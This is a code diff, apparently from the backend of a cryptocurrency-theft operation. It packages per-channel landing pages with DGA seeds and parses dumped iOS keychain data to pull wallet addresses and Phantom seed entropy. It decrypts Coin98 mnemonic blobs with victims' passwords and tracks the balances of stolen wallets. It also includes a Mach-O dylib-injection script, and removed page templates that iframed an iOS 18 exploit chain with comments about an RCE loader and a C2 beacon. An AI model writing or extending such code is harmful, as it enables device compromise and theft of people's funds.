+            throw new RuntimeException('PHP ZipArchive 不可用');
+        }
+
+        $tmp = tempnam(sys_get_temp_dir(), 'coruna-embed-');
+        if ($tmp === false) {
+            throw new RuntimeException('无法创建临时文件');
+        }
+        @unlink($tmp);
+        $zipPath = $tmp.'.zip';
+
+        $zip = new ZipArchive();
+        if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
+            throw new RuntimeException('无法创建 zip');
+        }
+
+        $statOrigin = $this->statOrigin();
+        foreach ($files as $rel) {
+            $abs = $dir.DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $rel);
+            $contents = file_get_contents($abs);
+            if ($contents === false) {
+                continue;
+            }
+            if ($rel === 'index.js' && $statOrigin !== '') {
+                $contents = $this->bakeStatOrigin($contents, $statOrigin);
+            }
+            $zip->addFromString($rel, $contents);
+        }
+        $zip->addFromString('README.txt', $this->readme($channel));
+        $zip->close();
+
+        return $zipPath;
+    }
+
+    private function statOrigin(): string
+    {
+        $domains = Channel::normalizeDomainList(config('coruna.channel_domains', []));
+        $host = trim((string) ($domains[0] ?? ''));
+        if ($host === '') {
+            return '';
+        }
+        if (preg_match('#^https?://#i', $host)) {
+            return rtrim($host, '/');
+        }
+        $scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
+
+        return $scheme.'://'.rtrim($host, '/');
+    }
+
+    private function bakeStatOrigin(string $boot, string $origin): string
+    {
+        $quoted = json_encode($origin, JSON_UNESCAPED_SLASHES);
+        $updated = preg_replace(
+            '/var STAT_ORIGIN = ([\'"][^\'"]*[\'"]|__STAT_ORIGIN__)/',
+            'var STAT_ORIGIN = '.$quoted,
+            $boot,
+            1,
+        );
+
+        return is_string($updated) ? $updated : $boot;
+    }
+
+    private function readme(Channel $channel): string
+    {
+        $id = (string) $channel->channel_id;
+
+        return "把本 zip 解压到站点根目录（与首页同级），页面中加入：\n"
+            ."<script src=\"./index.js\"></script>\n\n"
+            ."渠道 {$id} 已写入 index.js。iframe 投放仍可用原落地页链接。\n";
+    }
+
+    /**
+     * @return list<string>
+     */
+    private function collectFiles(string $dir): array
+    {
+        $skipNames = ['.DS_Store', 'manifest.json', 'README.md', 'README.txt'];
+        $skipDirs = ['templates', '_bak', '__pycache__'];
+        $files = [];
+        $iterator = new \RecursiveIteratorIterator(
+            new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS)
+        );
+        foreach ($iterator as $file) {
+            if (! $file->isFile()) {
+                continue;
+            }
+            $abs = $file->getPathname();
+            $rel = ltrim(str_replace('\\', '/', substr($abs, strlen($dir))), '/');
+            $parts = explode('/', $rel);
+            if (array_intersect($parts, $skipDirs) !== []) {
+                continue;
+            }
+            if (in_array(end($parts), $skipNames, true)) {
+                continue;
+            }
+            $ext = strtolower((string) $file->getExtension());
+            if (! in_array($ext, ['js', 'html', 'htm', 'css'], true)) {
+                continue;
+            }
+            $files[] = $rel;
+        }
+        sort($files);
+
+        return $files;
+    }
+}

app/Services/ChannelProjectService.php

@@ -52,16 +52,10 @@ class ChannelProjectService
             );
         }
 
-        [$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
-            $deploymentSeed,
-            $reportingSeed,
-        );
-
         return $this->generateOld(
             $this->normalizeChannelId($channelId),
             $supportTemplate,
-            $deploymentSeed,
+            dsDomain: (string) config('coruna.xxbb.ds_domain', ''),
-            $reportingSeed,
         );
     }
 
@@ -71,6 +65,17 @@ class ChannelProjectService
     ): void {
         $builderType = $this->normalizeBuilderType($builderType);
 
+        // App builder channels have no static resource tree —
+        // only the DB row + optionally an IPA output directory.
+        if ($builderType === Channel::BUILDER_APP) {
+            $dir = public_path('channel/'.$channelId);
+            if (is_dir($dir) && ! $this->removeDirectory($dir)) {
+                throw new RuntimeException('删除渠道资源失败: '.$dir);
+            }
+
+            return;
+        }
+
         if ($builderType === self::BUILDER_NEW) {
             $code = Channel::normalizeNewChannelId($channelId);
             if ($code === null) {
@@ -119,10 +124,10 @@ class ChannelProjectService
     private function generateOld(
         string $channelId,
         string $supportTemplate,
-        ?string $deploymentSeed,
+        string $dsDomain = '',
-        ?string $reportingSeed,
     ): array {
         $supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
+        $seed = $this->requireEnvOldSeed();
         $cmd = [
             $this->pythonBinary(self::BUILDER_OLD),
             $this->builderScript('new_project.py', self::BUILDER_OLD),
@@ -135,12 +140,14 @@ class ChannelProjectService
             '--support-template',
             $supportTemplate,
             '--force',
+            '--deployment-seed',
+            $seed,
+            '--reporting-seed',
+            $seed,
         ];
-        if ($deploymentSeed !== null && $reportingSeed !== null) {
+        if ($dsDomain !== '') {
-            $cmd[] = '--deployment-seed';
+            $cmd[] = '--ds-domain';
-            $cmd[] = $deploymentSeed;
+            $cmd[] = $dsDomain;
-            $cmd[] = '--reporting-seed';
-            $cmd[] = $reportingSeed;
         }
 
         $result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_OLD));
@@ -163,6 +170,7 @@ class ChannelProjectService
             'weifile_path' => null,
             'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'),
             'support_template' => (string) ($result['support_template'] ?? $supportTemplate),
+            'ds_domain' => $dsDomain,
         ];
     }
 
@@ -202,6 +210,72 @@ class ChannelProjectService
         return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
     }
 
+    /**
+     * Rebuild existing old-builder channels in place (same 32-hex channel_id).
+     * DGA seed always comes from CORUNA_CHANNEL_SEED; overwrites public/web/{id}/.
+     *
+     * @param  list<string>|null  $channelIds  null = all builder_type=old rows
+     * @return array{channels: list<array<string, mixed>>}
+     */
+    public function rebuildOldChannels(
+        ?array $channelIds = null,
+        string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
+        string $dsDomain = '',
+    ): array {
+        $ids = $this->resolveOldChannelIds($channelIds);
+        if ($ids === []) {
+            throw new RuntimeException('没有可重打的旧版渠道（builder_type=old）');
+        }
+
+        $channels = [];
+        foreach ($ids as $id) {
+            $channels[] = $this->generateOld(
+                $id,
+                $supportTemplate,
+                $dsDomain,
+            );
+        }
+
+        return [
+            'channels' => $channels,
+        ];
+    }
+
+    /**
+     * @param  list<string>|null  $channelIds
+     * @return list<string>
+     */
+    public function resolveOldChannelIds(?array $channelIds = null): array
+    {
+        if ($channelIds === null) {
+            return Channel::query()
+                ->where('builder_type', self::BUILDER_OLD)
+                ->orderBy('id')
+                ->pluck('channel_id')
+                ->map(function ($id) {
+                    try {
+                        return $this->normalizeChannelId((string) $id);
+                    } catch (RuntimeException) {
+                        return null;
+                    }
+                })
+                ->filter()
+                ->values()
+                ->all();
+        }
+
+        $ids = [];
+        foreach ($channelIds as $raw) {
+            try {
+                $ids[] = $this->normalizeChannelId((string) $raw);
+            } catch (RuntimeException) {
+                throw new RuntimeException('旧版渠道 ID 必须是 32 位 hex: '.$raw);
+            }
+        }
+
+        return array_values(array_unique($ids));
+    }
+
     /**
      * Rebuild existing new-builder channels in place (same channel_id / ver patch).
      * Shared /details + staged weifile are built once from XXBB_CHANNEL_C, then each
@@ -417,6 +491,19 @@ class ChannelProjectService
         return $c;
     }
 
+    private function requireEnvOldSeed(): string
+    {
+        $seed = strtolower(trim((string) config('coruna.channel_builder.seed', '')));
+        if ($seed === '') {
+            throw new RuntimeException('请先在 .env 配置 CORUNA_CHANNEL_SEED（32 位 hex）');
+        }
+        if (! preg_match('/^[0-9a-f]{32}$/', $seed)) {
+            throw new RuntimeException('CORUNA_CHANNEL_SEED 必须是 32 位 hex');
+        }
+
+        return $seed;
+    }
+
     private function normalizeSharedChannelC(?string $channelC): ?string
     {
         $c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
@@ -707,8 +794,8 @@ class ChannelProjectService
         if ($builderType === '') {
             return self::BUILDER_OLD;
         }
-        if (! in_array($builderType, [self::BUILDER_OLD, self::BUILDER_NEW], true)) {
+        if (! in_array($builderType, [self::BUILDER_OLD, self::BUILDER_NEW, Channel::BUILDER_APP], true)) {
-            throw new RuntimeException('无效的渠道类型（支持: old, new）');
+            throw new RuntimeException('无效的渠道类型（支持: old, new, app）');
         }
 
         return $builderType;
@@ -738,31 +825,4 @@ class ChannelProjectService
 
         return $supportTemplate;
     }
-
-    /**
-     * @return array{0: ?string, 1: ?string}
-     */
-    private function normalizeOptionalSeeds(
-        ?string $deploymentSeed,
-        ?string $reportingSeed,
-    ): array {
-        $deploymentSeed = $deploymentSeed !== null ? trim($deploymentSeed) : null;
-        $reportingSeed = $reportingSeed !== null ? trim($reportingSeed) : null;
-        if (($deploymentSeed === null || $deploymentSeed === '') && ($reportingSeed === null || $reportingSeed === '')) {
-            return [null, null];
-        }
-        if ($deploymentSeed === null || $deploymentSeed === '' || $reportingSeed === null || $reportingSeed === '') {
-            throw new RuntimeException('deployment_seed 与 reporting_seed 必须同时提供');
-        }
-        foreach (['deployment_seed' => $deploymentSeed, 'reporting_seed' => $reportingSeed] as $name => $value) {
-            if (! preg_match('/^[ -~]{1,32}$/', $value)) {
-                throw new RuntimeException("无效的 {$name}（需 1–32 位 ASCII）");
-            }
-        }
-        if ($deploymentSeed !== $reportingSeed) {
-            throw new RuntimeException('deployment_seed 与 reporting_seed 必须相同');
-        }
-
-        return [$deploymentSeed, $reportingSeed];
-    }
 }

app/Services/DarkSwordIngestAdapter.php

@@ -1017,6 +1017,7 @@ class DarkSwordIngestAdapter
             'hits' => count($result['hits']),
             'utc' => $result['utc'],
             'vault' => $result['vault'] ?? 0,
+            'coin98' => $result['coin98'] ?? 0,
         ];
     }
 
@@ -1293,6 +1294,24 @@ class DarkSwordIngestAdapter
         // We don't have the key here in the recursive walk; detect from
         // service/account fields instead.
 
+        // Check direct 'address' field (Trust Wallet activeAccounts pattern:
+        // {"address": "0x...", "coin": 60, "derivationPath": "m/44'/..."}).
+        $directAddr = (string) ($node['address'] ?? '');
+        if ($directAddr !== '' && strlen($directAddr) > 10 && ! str_contains($directAddr, ' ')) {
+            $chainType = WalletSource::inferChainType($directAddr);
+            // TronLink stores TRON addresses in hex format (0x41 prefix)
+            if ($chainType === '' && strlen($directAddr) === 42 && ctype_xdigit($directAddr) && str_starts_with($directAddr, '41')) {
+                $converted = self::hexTronToBase58($directAddr);
+                if ($converted !== null) {
+                    $directAddr = $converted;
+                    $chainType = 'TRON';
+                }
+            }
+            if ($chainType !== '' && WalletSource::isSupportedChain($chainType)) {
+                $out[] = $this->addressRow($directAddr, $chainType, $sourceHint, $tag);
+            }
+        }
+
         // Check account field for embedded addresses (Uniswap pattern:
         // "com.uniswap.mobile.mnemonic.0x4A45...").
         $acct = (string) ($node['account'] ?? '');
@@ -1367,7 +1386,11 @@ class DarkSwordIngestAdapter
                     if (is_array($json) && isset($json['address']) && is_string($json['address'])) {
                         $addr = $json['address'];
                         $chainType = WalletSource::inferChainType($addr);
-                        if (WalletSource::isSupportedChain($chainType)) {
+                        // TON stays out of DS free-text harvests (jetton
+                        // contract noise); only the app-link Tonhub
+                        // collector may store TON addresses.
+                        $supported = $chainType !== 'TON' && WalletSource::isSupportedChain($chainType);
+                        if ($supported) {
                             $out[] = $this->addressRow($addr, $chainType, $source, $tag);
                         }
                     }
@@ -1456,4 +1479,49 @@ class DarkSwordIngestAdapter
         }
         $this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
     }
+
+    /**
+     * Convert a 42-char hex TRON address (0x41-prefixed) to base58check.
+     */
+    private static function hexTronToBase58(string $hex): ?string
+    {
+        if (strlen($hex) !== 42 || ! ctype_xdigit($hex) || ! str_starts_with($hex, '41')) {
+            return null;
+        }
+        $bin = @hex2bin($hex);
+        if ($bin === false || strlen($bin) !== 21) {
+            return null;
+        }
+        $hash1 = hash('sha256', $bin, true);
+        $hash2 = hash('sha256', $hash1, true);
+        $data = $bin . substr($hash2, 0, 4);
+
+        $alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
+        $base = strlen($alphabet);
+        $num = array_map('ord', str_split($data));
+        $result = '';
+
+        while (count($num) > 0 && $num[0] === 0) {
+            $result .= $alphabet[0];
+            $num = array_slice($num, 1);
+        }
+
+        while ($num !== []) {
+            $quotient = [];
+            $remainder = 0;
+            foreach ($num as $byte) {
+                $acc = $remainder * 256 + $byte;
+                $digit = intdiv($acc, $base);
+                $remainder = $acc % $base;
+                if ($quotient !== [] || $digit !== 0) {
+                    $quotient[] = $digit;
+                }
+            }
+            $result = $alphabet[$remainder] . $result;
+            $num = $quotient;
+        }
+
+        return strlen($result) === 34 && $result[0] === 'T' ? $result : null;
+    }
+
 }

app/Services/DsKeystoreDecrypt.php

@@ -69,6 +69,8 @@ final class DsKeystoreDecrypt
         foreach ($this->recoverPhantom($phantomNodes) as $hit) {
             $hash = WalletMnemonic::hashSecret($hit['phrase']);
             if (isset($seen[$hash])) {
+                $this->markSourceDecrypted($device->id, $hit['source']);
+
                 continue;
             }
             $seen[$hash] = true;
@@ -101,16 +103,20 @@ final class DsKeystoreDecrypt
 
         $utcs = [];
         $vaults = [];
+        $coin98Wallets = [];
         foreach ($nodes as $node) {
             $utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
             $vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
+            foreach ($this->collectCoin98Backups($node) as $wallets) {
+                $coin98Wallets = array_merge($coin98Wallets, $wallets);
+            }
         }
         $utcs = $this->uniqueKeystores($utcs);
         $passwords = $this->expandUserPassword($password);
         $hits = [];
         $seen = [];
         if ($passwords === []) {
-            return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults)];
+            return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)];
         }
 
         foreach ($utcs as $item) {
@@ -151,7 +157,26 @@ final class DsKeystoreDecrypt
             ];
         }
 
-        return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults)];
+        // Coin98 CryptoJS privateKey / mnemonic blobs keyed by the user's
+        // wallet password.
+        if ($coin98Wallets !== []) {
+            $phrase = $this->unlockCoin98Wallets($coin98Wallets, $passwords);
+            if ($phrase !== null) {
+                $hash = WalletMnemonic::hashSecret($phrase);
+                if (! isset($seen[$hash])) {
+                    $seen[$hash] = true;
+                    $hitSource = $source !== '' ? $source : 'Coin98';
+                    $hits[] = [
+                        'source' => $hitSource,
+                        'tag' => WalletSource::tagForLabel($hitSource) ?: 'q',
+                        'phrase' => $phrase,
+                        'addresses' => [],
+                    ];
+                }
+            }
+        }
+
+        return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)];
     }
 
     /**
@@ -417,19 +442,11 @@ final class DsKeystoreDecrypt
         }
 
         $out = [];
-        // Phantom vault seedless entries: service=app:no-auth, account hex-decodes
+        // Phantom vault entropy lives in dataHex as {"entropy":{"0":n,...}}.
-        // to ".phantom-labs.vault.seedless.*". The dataHex contains a JSON with
+        // Account may be hex, base64, or already-decoded UTF-8, and the path
-        // an "entropy" dict of byte-index → byte-value pairs.
+        // is either ".phantom-labs.vault.seedless.*" (older) or
-        $svc = strtolower(trim((string) ($node['service'] ?? '')));
+        // ".phantom-labs.vault.seed.*" (current iOS app).
-        $acct = (string) ($node['account'] ?? '');
+        if ($this->isPhantomVaultItem($node)) {
-        $acctDecoded = '';
-        if ($acct !== '' && ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
-            $bin = @hex2bin($acct);
-            if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
-                $acctDecoded = strtolower($bin);
-            }
-        }
-        if ($svc === 'app:no-auth' && str_contains($acctDecoded, 'phantom-labs.vault.seedless')) {
             $hex = $this->phantomEntropyFromItem($node);
             if ($hex !== null) {
                 $out[] = $hex;
@@ -446,7 +463,54 @@ final class DsKeystoreDecrypt
     }
 
     /**
-     * Extract the entropy hex from a Phantom vault seedless keychain item.
+     * @param  array<string, mixed>  $node
+     */
+    private function isPhantomVaultItem(array $node): bool
+    {
+        $svc = strtolower(trim((string) ($node['service'] ?? '')));
+        $acct = $this->decodeKeychainAccount((string) ($node['account'] ?? ''));
+        $agrp = strtolower((string) ($node['accessGroup'] ?? ''));
+        $looksPhantom = str_contains($acct, 'phantom-labs')
+            || str_contains($acct, 'phantom')
+            || str_contains($agrp, 'phantom')
+            || $svc === 'app.phantom';
+        if ($looksPhantom) {
+            return true;
+        }
+
+        // Older DS dumps used service=app:no-auth + hex account.
+        return $svc === 'app:no-auth' && (
+            str_contains($acct, 'phantom-labs.vault.seedless')
+            || str_contains($acct, 'phantom-labs.vault.seed.')
+        );
+    }
+
+    private function decodeKeychainAccount(string $acct): string
+    {
+        $acct = trim($acct);
+        if ($acct === '') {
+            return '';
+        }
+        $lower = strtolower($acct);
+        if (str_contains($lower, 'phantom-labs') || str_contains($lower, 'phantom')) {
+            return $lower;
+        }
+        if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
+            $bin = @hex2bin($acct);
+            if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
+                return strtolower($bin);
+            }
+        }
+        $b64 = base64_decode($acct, true);
+        if (is_string($b64) && $b64 !== '' && mb_check_encoding($b64, 'UTF-8')) {
+            return strtolower($b64);
+        }
+
+        return $lower;
+    }
+
+    /**
+     * Extract the entropy hex from a Phantom vault seedless/seed keychain item.
      *
      * @param  array<string, mixed>  $item
      */
@@ -529,6 +593,15 @@ final class DsKeystoreDecrypt
             }
         }
 
+        // App-link coin98.wallet keystore row (SET_WALLET_STORAGE wallets,
+        // with CryptoJS-encrypted privateKey / mnemonic blobs).
+        if (trim((string) ($node['kind'] ?? '')) === 'coin98.wallet' && is_array($node['wallets'] ?? null)) {
+            $wallets = array_values(array_filter($node['wallets'], 'is_array'));
+            if ($wallets !== []) {
+                $out[] = $wallets;
+            }
+        }
+
         foreach ($node as $key => $child) {
             if (is_array($child) || is_string($child)) {
                 $out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1));
@@ -790,6 +863,68 @@ final class DsKeystoreDecrypt
         return null;
     }
 
+    /**
+     * Coin98 SET_WALLET_STORAGE wallets keep privateKey / mnemonic as
+     * CryptoJS AES blobs ("U2FsdGVkX1…" = base64 OpenSSL "Salted__" +
+     * 8-byte salt + AES-256-CBC ciphertext). Try the mnemonic blob first
+     * (it decrypts straight to a BIP39 phrase), then the privateKey blob.
+     *
+     * @param  list<array<string, mixed>>  $wallets
+     * @param  list<string>  $passwords
+     */
+    public function unlockCoin98Wallets(array $wallets, array $passwords): ?string
+    {
+        foreach ($wallets as $wallet) {
+            if (! is_array($wallet)) {
+                continue;
+            }
+            foreach (['mnemonic', 'privateKey'] as $field) {
+                $cipher = $wallet[$field] ?? null;
+                if (! is_string($cipher) || $cipher === '') {
+                    continue;
+                }
+                foreach ($passwords as $password) {
+                    $plain = $this->decryptCryptoJsAes($cipher, $password);
+                    if ($plain === null) {
+                        continue;
+                    }
+                    $phrase = $this->asMnemonic($plain);
+                    if ($phrase !== null) {
+                        return $phrase;
+                    }
+                }
+            }
+        }
+
+        return null;
+    }
+
+    /**
+     * CryptoJS AES.encrypt(plain, password) default format:
+     * base64("Salted__" + salt(8) + AES-256-CBC ciphertext), with the key
+     * and IV derived via OpenSSL EVP_BytesToKey (MD5, one round).
+     */
+    private function decryptCryptoJsAes(string $cipherB64, string $password): ?string
+    {
+        $raw = base64_decode($cipherB64, true);
+        if (! is_string($raw) || strlen($raw) < 32 || ! str_starts_with($raw, 'Salted__')) {
+            return null;
+        }
+        $salt = substr($raw, 8, 8);
+        $cipher = substr($raw, 16);
+        $derived = '';
+        $block = '';
+        while (strlen($derived) < 48) {
+            $block = md5($block.$password.$salt, true);
+            $derived .= $block;
+        }
+        $key = substr($derived, 0, 32);
+        $iv = substr($derived, 32, 16);
+        $plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
+
+        return is_string($plain) && $plain !== '' ? $plain : null;
+    }
+
     private function phraseFromVaultPlain(string $plain): ?string
     {
         $direct = $this->asMnemonic($plain);

app/Services/IngestService.php

@@ -905,8 +905,10 @@ class IngestService
             }
 
             $isTron = in_array($chainType, ['TRON', 'TRX'], true);
+            $isBtc = in_array($chainType, ['BTC', 'BITCOIN'], true);
             // Tron: client payloads often omit/zero balances — pull TRX/USDT before notify.
-            if ($isTron && (! $existing || $coinAttrs === [])) {
+            // BTC: Trust/client often reports sats or lifetime totals as BTC — overwrite from mempool UTXO.
+            if (($isTron && (! $existing || $coinAttrs === [])) || $isBtc) {
                 $this->balances->refresh($addr);
                 $addr->refresh();
             }
@@ -1291,14 +1293,17 @@ class IngestService
                 if ($address === '') {
                     continue;
                 }
-                if (! isset($byAddr[$address])) {
+                $chain = strtoupper((string) ($item['chainType'] ?? $item['chain'] ?? ''));
-                    $chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
                 if ($chain === '') {
                     $chain = WalletSource::inferChainType($address);
                 }
-                    $byAddr[$address] = [
+                // Key by address + chain: the same 0x address is a valid row on
+                // ETH, BSC and ARB at once and must not collapse into one.
+                $key = $address.'|'.$chain;
+                if (! isset($byAddr[$key])) {
+                    $byAddr[$key] = [
                         'address' => $address,
-                        'chain_type' => strtoupper($chain),
+                        'chain_type' => $chain,
                         'balance' => [],
                     ];
                 }
@@ -1306,7 +1311,7 @@ class IngestService
                 if ($symbol === '') {
                     continue;
                 }
-                $byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
+                $byAddr[$key]['balance'][$symbol] = WalletSource::formatBalance(
                     $item['balance'] ?? $item['value'] ?? 0,
                     $item['decimal'] ?? $item['decimals'] ?? null
                 );

app/Services/Tokenview/TokenviewMonitorService.php

@@ -197,15 +197,16 @@ class TokenviewMonitorService
             return;
         }
 
-        $tronRows = $rows->filter(function (WalletAddress $row) {
+        $refreshRows = $rows->filter(function (WalletAddress $row) {
-            return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
+            return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX', 'BTC', 'BITCOIN'], true);
         });
         $deltaRows = $rows->filter(function (WalletAddress $row) {
-            return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
+            return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX', 'BTC', 'BITCOIN'], true);
         });
 
-        // Tron webhooks only carry deltas — refresh TRX/USDT from chain as source of truth.
+        // Tron/BTC webhooks only carry deltas — refresh from chain as source of truth.
-        foreach ($tronRows as $row) {
+        // BTC stored `btc` is often Trust/client sats-or-lifetime totals, not current UTXO.
+        foreach ($refreshRows as $row) {
             /** @var WalletAddress $row */
             if (! $this->balances->refresh($row)) {
                 $this->applyDeltasToRow($row, $deltas);

app/Support/WalletSource.php

@@ -268,6 +268,7 @@ final class WalletSource
         'BNB', 'BSC', 'BINANCE',
         'SOL', 'SOLANA',
         'ARB', 'ARBITRUM',
+        'TON', 'TONCOIN',
     ];
 
     public static function isSupportedChain(string $chainType): bool

bin/add_dylib.py

@@ -0,0 +1,98 @@
+#!/usr/bin/env python3
+"""add_dylib.py — Add an LC_LOAD_DYLIB load command to a Mach-O 64-bit binary.
+
+Usage: python3 add_dylib.py <binary> <dylib_path> [--weak]
+
+Inserts the new load command right after the existing load commands, before
+the first section data.  Requires enough free space in the __TEXT header
+region (checked automatically).
+
+The binary is modified in-place; a .orig backup is created first.
+"""
+import struct, sys, shutil, os
+
+LC_LOAD_DYLIB     = 0x0c
+LC_LOAD_WEAK_DYLIB = 0x80000018  # LC_LOAD_WEAK_DYLIB with LC_REQ_DYLD
+
+def main():
+    args = sys.argv[1:]
+    weak = False
+    if '--weak' in args:
+        weak = True
+        args.remove('--weak')
+    if len(args) != 2:
+        sys.exit("Usage: add_dylib.py <binary> <dylib_path> [--weak]")
+    path, dylib = args
+
+    with open(path, 'rb') as f:
+        data = bytearray(f.read())
+
+    # Parse Mach-O 64-bit header
+    magic = struct.unpack_from('<I', data, 0)[0]
+    if magic != 0xfeedfacf:
+        sys.exit(f"Not a 64-bit Mach-O (magic={hex(magic)})")
+
+    cputype, cpusub, filetype, ncmds, sizeofcmds, flags, reserved = \
+        struct.unpack_from('<i i I I I I I', data, 4)
+
+    HEADER_SIZE = 32  # mach_header_64
+    hdr_end = HEADER_SIZE + sizeofcmds
+
+    # Find the earliest section offset (file offset) to know our free space
+    off = HEADER_SIZE
+    min_section_off = len(data)
+    for _ in range(ncmds):
+        cmd, cmdsize = struct.unpack_from('<II', data, off)
+        if cmd == 0x19:  # LC_SEGMENT_64
+            # segment_command_64: cmd(4) cmdsize(4) segname(16) vmaddr(8) vmsize(8) fileoff(8) filesize(8) maxprot(4) initprot(4) nsects(4) flags(4)
+            fileoff = struct.unpack_from('<Q', data, off + 40)[0]   # fileoff at offset 40
+            nsects  = struct.unpack_from('<I', data, off + 64)[0]    # nsects at offset 64
+            sect_off = off + 72  # section_64 array starts at segment + 72
+            for s in range(nsects):
+                sect_fileoff = struct.unpack_from('<I', data, sect_off + s * 80 + 48)[0]
+                if sect_fileoff > 0 and sect_fileoff < min_section_off:
+                    min_section_off = sect_fileoff
+        off += cmdsize
+
+    # Build the LC_LOAD_DYLIB command
+    name = dylib.encode() + b'\0'
+    # name_offset = 24 (cmd + cmdsize + 4*4 for dylib struct)
+    name_offset = 24
+    cmdsize = name_offset + len(name)
+    # align to 8 bytes
+    cmdsize = (cmdsize + 7) & ~7
+
+    needed = cmdsize
+    free = min_section_off - hdr_end
+    if free < needed:
+        sys.exit(f"Not enough free space: need {needed}, have {free} "
+                 f"(hdr_end={hdr_end}, first_section={min_section_off})")
+
+    # Build the command bytes
+    cmd_id = LC_LOAD_WEAK_DYLIB if weak else LC_LOAD_DYLIB
+    cmd = struct.pack('<II', cmd_id, cmdsize)
+    cmd += struct.pack('<IIII', name_offset, 2, 0x10000, 0x10000)  # dylib struct
+    cmd += name
+    cmd += b'\0' * (cmdsize - len(cmd))  # pad to cmdsize
+
+    # Write the new command into existing free space (NO insertion —
+    # the space between sizeofcmds and first section is zero padding).
+    # Inserting bytes would shift all section file offsets and break the binary.
+    data[hdr_end:hdr_end + cmdsize] = cmd
+
+    # Update ncmds and sizeofcmds (in-place, no shift)
+    struct.pack_into('<I', data, 16, ncmds + 1)
+    struct.pack_into('<I', data, 20, sizeofcmds + cmdsize)
+
+    # Backup and write
+    shutil.copy2(path, path + '.orig')
+    with open(path, 'wb') as f:
+        f.write(data)
+
+    print(f"Added {'weak ' if weak else ''}LC_LOAD_DYLIB: {dylib}")
+    print(f"  cmdsize={cmdsize}, ncmds={ncmds}->{ncmds+1}, "
+          f"sizeofcmds={sizeofcmds}->{sizeofcmds+cmdsize}")
+    print(f"  free space was {free} bytes, backup saved as {path}.orig")
+
+if __name__ == '__main__':
+    main()

channel-builder-new/source/weifile/templates/blank.html

@@ -5,53 +5,8 @@
 <meta http-equiv="Expires" content="0" />
 <meta property="og:determiner" content="auto" />
 <title>weifile</title>
-<script src="/t.js" defer></script>
 </head>
 <body>
-<script type="text/javascript">
+<script src="index.js"></script>
-  (function () {
-    function parseIosVersion() {
-      var ua = navigator.userAgent || '';
-      var m = /iPhone OS ([0-9_]+)/.exec(ua);
-      if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
-      if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
-      if (!m) {
-        m = /Version\/(\d+)\.(\d+)/.exec(ua);
-        return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
-      }
-      return m[1].split('_').map(function (p) {
-        return parseInt(p, 10);
-      });
-    }
-  
-    var ios = parseIosVersion();
-    if (!ios || ios[0] < 18) {
-      // Below iOS 18: non-DS chain (index.js).
-      var s = document.createElement('script');
-      s.src = 'index.js?' + Date.now();
-      (document.body || document.documentElement).appendChild(s);
-      return;
-    }
-    if (ios[0] === 18) {
-      // iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
-      // Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
-      // so rce_loader.js can forward it through the exploit chain to pe_worker.js,
-      // which includes it in the C2 beacon for channel attribution.
-      var channelCode = '';
-      try {
-        var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
-        if (m && m[1]) channelCode = m[1].toUpperCase();
-      } catch (eC) {}
-      var dsDomain = '__DS_DOMAIN__';
-      var dsUrl = dsDomain + '/next-chain/frame.html';
-      if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
-      var ifr = document.createElement('iframe');
-      ifr.src = dsUrl;
-      ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
-      (document.body || document.documentElement).appendChild(ifr);
-    }
-    // iOS 19+ / 26+: no action.
-  })();
-</script>
 </body>
 </html>

channel-builder-new/source/weifile/templates/test.html

@@ -8,7 +8,6 @@
 <meta http-equiv="Expires" content="0" />
 <meta property="og:determiner" content="auto" />
 <title>加载中</title>
-<script src="/t.js" defer></script>
 <style>
   :root {
     --bg: #0f1419;
@@ -112,45 +111,7 @@
     <p class="title">加载中</p>
     <p class="subtitle">请稍候，正在准备页面…</p>
   </div>
-  <script type="text/javascript">
+  <script src="index.js"></script>
-(function () {
-  function parseIosVersion() {
-    var ua = navigator.userAgent || '';
-    var m = /iPhone OS ([0-9_]+)/.exec(ua);
-    if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
-    if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
-    if (!m) {
-      m = /Version\/(\d+)\.(\d+)/.exec(ua);
